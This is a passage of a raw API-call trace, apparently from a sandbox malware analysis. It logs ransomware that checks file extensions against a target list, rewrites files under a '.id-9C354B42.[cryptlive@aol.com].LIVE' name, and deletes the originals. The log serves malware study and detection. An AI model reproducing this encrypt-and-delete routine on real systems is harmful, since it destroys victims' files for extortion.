shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0040.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0040.881] lstrlenW (lpString=".doc") returned 4 [0040.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.881] lstrlenW (lpString=".docx") returned 5 [0040.881] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0040.881] lstrlenW (lpString=".pdf") returned 4 [0040.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.881] lstrlenW (lpString=".xls") returned 4 [0040.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.881] lstrlenW (lpString=".xlsx") returned 5 [0040.881] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0040.881] lstrlenW (lpString=".ppt") returned 4 [0040.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0040.881] lstrlenW (lpString=".zip") returned 4 [0040.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.881] lstrlenW (lpString=".rar") returned 4 [0040.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.881] lstrlenW (lpString=".bz2") returned 4 [0040.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.881] lstrlenW (lpString=".7z") returned 3 [0040.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0040.882] lstrlenW (lpString=".dbf") returned 4 [0040.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.747] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) [0045.747] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0045.782] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0046.938] NtQueryInformationFile (FileHandle=0x210, IoStatusBlock=0x2c8fefc, FileInformation=0x2c8fee4, Length=0x18, FileInformationClass=0x5) [0046.938] CloseHandle (hObject=0x210) returned 1 [0046.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0046.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0046.939] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.939] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.939] GetLastError () returned 0x0 [0046.939] ReadFile (in: hFile=0x210, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0047.316] WriteFile (in: hFile=0x214, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.333] ReadFile (in: hFile=0x210, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0047.343] WriteFile (in: hFile=0x214, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0047.348] ReadFile (in: hFile=0x210, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.348] WriteFile (in: hFile=0x214, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.348] SetEndOfFile (hFile=0x214) returned 1 [0047.712] CloseHandle (hObject=0x214) returned 1 [0047.764] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.764] SetEndOfFile (hFile=0x210) returned 1 [0047.766] CloseHandle (hObject=0x210) returned 1 [0047.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0047.766] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.766] lstrlenW (lpString=".doc") returned 4 [0047.766] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0047.766] lstrlenW (lpString=".docx") returned 5 [0047.767] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0047.767] lstrlenW (lpString=".pdf") returned 4 [0047.767] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString=".xls") returned 4 [0047.767] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0047.767] lstrlenW (lpString=".xlsx") returned 5 [0047.767] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0047.767] lstrlenW (lpString=".ppt") returned 4 [0047.767] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.767] lstrlenW (lpString=".zip") returned 4 [0047.767] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0047.767] lstrlenW (lpString=".rar") returned 4 [0047.767] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString=".bz2") returned 4 [0047.767] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString=".7z") returned 3 [0047.767] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.767] lstrlenW (lpString=".dbf") returned 4 [0047.767] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.767] lstrlenW (lpString=".1cd") returned 4 [0047.767] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.767] lstrlenW (lpString=".jpg") returned 4 [0047.767] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.767] lstrlenW (lpString=".doc") returned 4 [0047.767] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0047.767] lstrlenW (lpString=".docx") returned 5 [0047.767] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0047.767] lstrlenW (lpString=".pdf") returned 4 [0047.767] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0047.768] lstrlenW (lpString=".xls") returned 4 [0047.768] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0047.768] lstrlenW (lpString=".xlsx") returned 5 [0047.768] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0047.768] lstrlenW (lpString=".ppt") returned 4 [0047.768] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0047.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.768] lstrlenW (lpString=".zip") returned 4 [0047.768] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0047.768] lstrlenW (lpString=".rar") returned 4 [0047.768] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0047.768] lstrlenW (lpString=".bz2") returned 4 [0047.768] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0047.768] lstrlenW (lpString=".7z") returned 3 [0047.768] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0047.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.768] lstrlenW (lpString=".dbf") returned 4 [0047.768] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0047.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.768] lstrlenW (lpString=".1cd") returned 4 [0047.768] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0047.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.768] lstrlenW (lpString=".jpg") returned 4 [0047.768] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0047.768] lstrcmpiW (lpString1=".htm", lpString2=".LIVE") returned -1 [0047.768] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0047.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.159] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=237) returned 1 [0049.159] CloseHandle (hObject=0x1e0) returned 1 [0049.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0049.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.160] lstrlenW (lpString=".doc") returned 4 [0049.160] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.160] lstrlenW (lpString=".docx") returned 5 [0049.160] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0049.160] lstrlenW (lpString=".pdf") returned 4 [0049.160] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0049.160] lstrlenW (lpString=".xls") returned 4 [0049.160] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0049.160] lstrlenW (lpString=".xlsx") returned 5 [0049.160] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0049.160] lstrlenW (lpString=".ppt") returned 4 [0049.160] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0049.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.160] lstrlenW (lpString=".zip") returned 4 [0049.160] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0049.160] lstrlenW (lpString=".rar") returned 4 [0049.160] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0049.160] lstrlenW (lpString=".bz2") returned 4 [0049.160] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.160] lstrlenW (lpString=".7z") returned 3 [0049.160] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.160] lstrlenW (lpString=".dbf") returned 4 [0049.160] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0049.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.160] lstrlenW (lpString=".1cd") returned 4 [0049.160] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.160] lstrlenW (lpString=".jpg") returned 4 [0049.161] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0049.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.161] lstrlenW (lpString=".doc") returned 4 [0049.161] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.161] lstrlenW (lpString=".docx") returned 5 [0049.161] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0049.161] lstrlenW (lpString=".pdf") returned 4 [0049.161] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0049.161] lstrlenW (lpString=".xls") returned 4 [0049.161] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0049.161] lstrlenW (lpString=".xlsx") returned 5 [0049.161] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0049.161] lstrlenW (lpString=".ppt") returned 4 [0049.161] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0049.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.161] lstrlenW (lpString=".zip") returned 4 [0049.161] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0049.161] lstrlenW (lpString=".rar") returned 4 [0049.161] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0049.161] lstrlenW (lpString=".bz2") returned 4 [0049.161] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.161] lstrlenW (lpString=".7z") returned 3 [0049.161] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.161] lstrlenW (lpString=".dbf") returned 4 [0049.161] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0049.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.161] lstrlenW (lpString=".1cd") returned 4 [0049.161] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0049.161] lstrlenW (lpString=".jpg") returned 4 [0049.161] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0049.162] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0049.162] lstrlenW (lpString="Notebook.jpg") returned 12 [0049.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.162] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2950) returned 1 [0049.163] CloseHandle (hObject=0x1e0) returned 1 [0049.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0049.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.163] lstrlenW (lpString=".doc") returned 4 [0049.163] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0049.163] lstrlenW (lpString=".docx") returned 5 [0049.163] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0049.163] lstrlenW (lpString=".pdf") returned 4 [0049.163] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0049.163] lstrlenW (lpString=".xls") returned 4 [0049.163] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0049.163] lstrlenW (lpString=".xlsx") returned 5 [0049.163] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0049.163] lstrlenW (lpString=".ppt") returned 4 [0049.163] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0049.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.163] lstrlenW (lpString=".zip") returned 4 [0049.163] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0049.163] lstrlenW (lpString=".rar") returned 4 [0049.163] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0049.163] lstrlenW (lpString=".bz2") returned 4 [0049.163] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0049.163] lstrlenW (lpString=".7z") returned 3 [0049.163] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0049.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.163] lstrlenW (lpString=".dbf") returned 4 [0049.163] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString=".1cd") returned 4 [0049.164] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString=".jpg") returned 4 [0049.164] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString=".doc") returned 4 [0049.164] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0049.164] lstrlenW (lpString=".docx") returned 5 [0049.164] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0049.164] lstrlenW (lpString=".pdf") returned 4 [0049.164] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0049.164] lstrlenW (lpString=".xls") returned 4 [0049.164] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0049.164] lstrlenW (lpString=".xlsx") returned 5 [0049.164] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0049.164] lstrlenW (lpString=".ppt") returned 4 [0049.164] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString=".zip") returned 4 [0049.164] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0049.164] lstrlenW (lpString=".rar") returned 4 [0049.164] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0049.164] lstrlenW (lpString=".bz2") returned 4 [0049.164] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0049.164] lstrlenW (lpString=".7z") returned 3 [0049.164] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString=".dbf") returned 4 [0049.164] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.164] lstrlenW (lpString=".1cd") returned 4 [0049.164] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0049.165] lstrlenW (lpString=".jpg") returned 4 [0049.165] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0049.165] lstrcmpiW (lpString1=".htm", lpString2=".LIVE") returned -1 [0049.165] lstrlenW (lpString="Orange Circles.htm") returned 18 [0049.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.165] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=237) returned 1 [0049.165] CloseHandle (hObject=0x1e0) returned 1 [0049.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0049.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.165] lstrlenW (lpString=".doc") returned 4 [0049.165] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.165] lstrlenW (lpString=".docx") returned 5 [0049.165] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0049.165] lstrlenW (lpString=".pdf") returned 4 [0049.165] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString=".xls") returned 4 [0049.166] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString=".xlsx") returned 5 [0049.166] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0049.166] lstrlenW (lpString=".ppt") returned 4 [0049.166] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.166] lstrlenW (lpString=".zip") returned 4 [0049.166] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString=".rar") returned 4 [0049.166] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString=".bz2") returned 4 [0049.166] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.166] lstrlenW (lpString=".7z") returned 3 [0049.166] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.166] lstrlenW (lpString=".dbf") returned 4 [0049.166] lstrcmpiW (lpString1=".dbf", 